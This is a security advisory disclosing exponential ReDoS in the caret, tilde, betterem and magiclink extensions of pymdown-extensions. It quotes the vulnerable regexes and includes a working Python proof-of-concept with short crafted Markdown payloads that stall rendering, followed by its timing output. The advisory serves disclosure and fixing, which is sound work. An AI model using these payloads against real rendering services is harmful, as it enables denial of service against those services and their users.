Résumé
pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors
Détails de l’avis
Summary
Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).
This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).
Details
Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:
| Extension | Regex | Location (11.0) |
|---|---|---|
pymdownx.caret (superscript ^…^) |
SUP2 |
pymdownx/caret.py:56 |
pymdownx.tilde (subscript ~…~) |
SUB2 |
pymdownx/tilde.py:55 |
pymdownx.betterem (underscore _…_) |
SMART_UNDER_EM2 (default) |
pymdownx/betterem.py:93 |
pymdownx.magiclink (bare-URL autolink) |
RE_LINK |
pymdownx/magiclink.py:56 (host at :59) |
pymdownx/caret.py:56 (pymdown-extensions 11.0):
SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'
The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor →
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.
pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:
(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.'
SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.
PoC
Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).
import signal
import time
from importlib.metadata import version
import markdown
print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")
CAP = 5.0 # a single render exceeding this is treated as a hang
class Timeout(Exception):
pass
def render(ext, text):
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
signal.setitimer(signal.ITIMER_REAL, CAP)
t = time.perf_counter()
try:
markdown.markdown(text, extensions=[ext])
return time.perf_counter() - t
except Timeout:
return None
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
"pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44),
"pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44),
"pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44),
"pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}
repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
base_txt = benign(hang) # valid, closed run: same regex machinery, but linear
base = render(ext, base_txt)
print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
prev = None
for n in ramp:
txt = evil(n)
dt = render(ext, txt)
ratio = f" (x{dt / prev:.1f})" if (prev and dt) else ""
shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
print(f" malicious len {len(txt):3d}: {shown}{ratio}")
prev = dt
txt = evil(hang)
dt = render(ext, txt)
hung = dt is None
print(f" malicious len {len(txt):3d}: "
f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
ok = base < 0.05 and (hung or dt > 1.0)
repro.append(ok)
print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")
assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
"public markdown.markdown() API, default config (each < 50-byte input).")
Run:
uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py
The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:
# pymdown-extensions 11.0 / markdown 3.10.2
[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms
malicious len 27: 0.003 s
malicious len 33: 0.054 s (x16.6)
malicious len 39: 0.946 s (x17.6)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms
malicious len 27: 0.003 s
malicious len 33: 0.053 s (x17.1)
malicious len 39: 0.962 s (x18.2)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms
malicious len 27: 0.003 s
malicious len 33: 0.052 s (x17.1)
malicious len 39: 0.948 s (x18.1)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms
malicious len 37: 0.033 s
malicious len 41: 0.210 s (x6.4)
malicious len 45: 1.405 s (x6.7)
malicious len 49: > 5 s (HANG)
=> REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.
VERDICT: exponential ReDoS reproduced in all four extensions
Références
Vulnérabilités liées
Tout Supply chain →- MEDIUMCVE-2026-73556
vLLM: ReDoS via structured_outputs.regex in the lm-format-enforcer backend (no compile timeout) — missed sibling of GHSA-rwxx-mrjm-wc2m
- HIGHGHSA-j8pm-gj4c-rq4x
league/commonmark: Denial of service via crafted code fences, reference links, and emphasis delimiters
- HIGHGHSA-vf76-f5cp-9846
Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions
- HIGHCVE-2026-55520
Protego has exponential backtracking ReDoS in robots.txt URL wildcard matching
- HIGHCVE-2026-57584
Phalcon: Catastrophic backtracking (ReDoS) in the default Phalcon Router route lead to remote unauthenticated DoS
- HIGHCVE-2026-59893
sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)